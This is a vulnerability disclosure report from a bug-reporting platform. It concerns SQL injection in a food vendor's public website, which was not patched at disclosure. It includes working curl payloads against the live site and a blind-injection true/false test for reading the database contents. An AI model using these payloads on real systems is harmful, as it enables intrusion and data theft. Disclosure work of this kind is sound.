Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2026-01209
- Vendor: 寶欣食品有限公司
- Title: 寶欣食品 SQLi 可任意讀取整個資料庫
- Introduction: 該站商品分類路徑與商品搜尋參數皆將使用者輸入直接串入 SQL 字串且未跳脫, 未認證者以單一 GET 請求即可任意求值 SQL 運算式,逐字元讀出整個資料庫。
處理狀態
目前狀態
公開
Last Update : 2026/11/26
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2026/09/26 15:26:50 : 新提交 (由 MaZon 更新此狀態)
- 2026/10/01 14:12:31 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/10/14 17:47:36 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/10/14 17:47:36 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/10/14 17:47:37 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/11/26 03:00:12 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2026-01209
- 通報者:masonzeng (MaZon)
- 風險:嚴重
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://www.icecream-frozenfood.com.tw/products-search.html
https://www.icecream-frozenfood.com.tw/products-1.html
https://www.icecream-frozenfood.com.tw/products-1.html
敘述
該站有兩個獨立的未認證 SQL 注入點,皆為字串內插且無跳脫:
products-<id>.html rewrite 路徑的第一個數字段,後端形如 WHERE <parent_id> = '<id>'。
products-search.html?key= 搜尋參數,後端形如 LIKE '%<key>%'。
第二個注入點的可利用性高於第一個:它是一般查詢字串、不受 rewrite 路徑格式限制,
payload 形式自由度大,且單次請求即可回傳全表級資料。以下以第二點為主 PoC。
奇偶引號特徵
products-1.html 200 / 18497 bytes cards=8 良性基線
products-99999.html 200 / 14408 bytes cards=0 良性基線(id 不存在)
products-1%27.html 200 / 14408 bytes cards=0 引號數為奇,語法斷裂
products-1%27%27.html 200 / 18437 bytes cards=8 引號數為偶,字串合法而恢復
單一引號造成結果消失、成對引號使其恢復,此為字串內插特徵。
另測 products-1%5C.html(反斜線)同樣斷裂,證明未套用 addslashes 或 real_escape_string。
因果驗證
curl "https://www.icecream-frozenfood.com.tw/products-99999%27or%271%27%3D%271.html"
-> 200 / 23668 bytes cards=16 回傳全表
curl "https://www.icecream-frozenfood.com.tw/products-99999%27or%271%27%3D%272.html"
-> 200 / 14408 bytes cards=0 精確回到 id=99999 的良性基線
關鍵在於 id 使用不存在的 99999:其良性為 0 筆,但配合 OR TRUE 仍回傳全表 16 筆,配合 OR FALSE 則回到 0 筆。決定結果集的是注入的布林值而非 id。
PHP 的 intval 型別轉換不可能產生此行為。
第二注入點,單次請求回傳全表
curl "https://www.icecream-frozenfood.com.tw/products-search.html?key=ice"
-> 200 / 14468 bytes cards=0 良性基線
curl "https://www.icecream-frozenfood.com.tw/products-search.html?key=zzz%27or(1)%3D(1)%23"
-> 200 / 550265 bytes cards=552 回傳全部商品
curl "https://www.icecream-frozenfood.com.tw/products-search.html?key=zzz%27or(1)%3D(2)%23"
-> 200 / 14468 bytes cards=0
任意 SQL 運算式求值
oracle 形式為 key=zzz'or(<條件>)or'1'='2#,cards=552 為真、cards=0 為偽。
length(database())=13 cards=552 真
length(database())=12 cards=0 偽
@@version=0x352e372e3434(5.7.44) cards=552 真
@@version=0x352e372e3433(5.7.43) cards=0 偽(負對照)
任意運算式可求值即為完整的 blind SQL injection,可逐字元讀出整個資料庫內容。
修補建議
改用參數化查詢
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。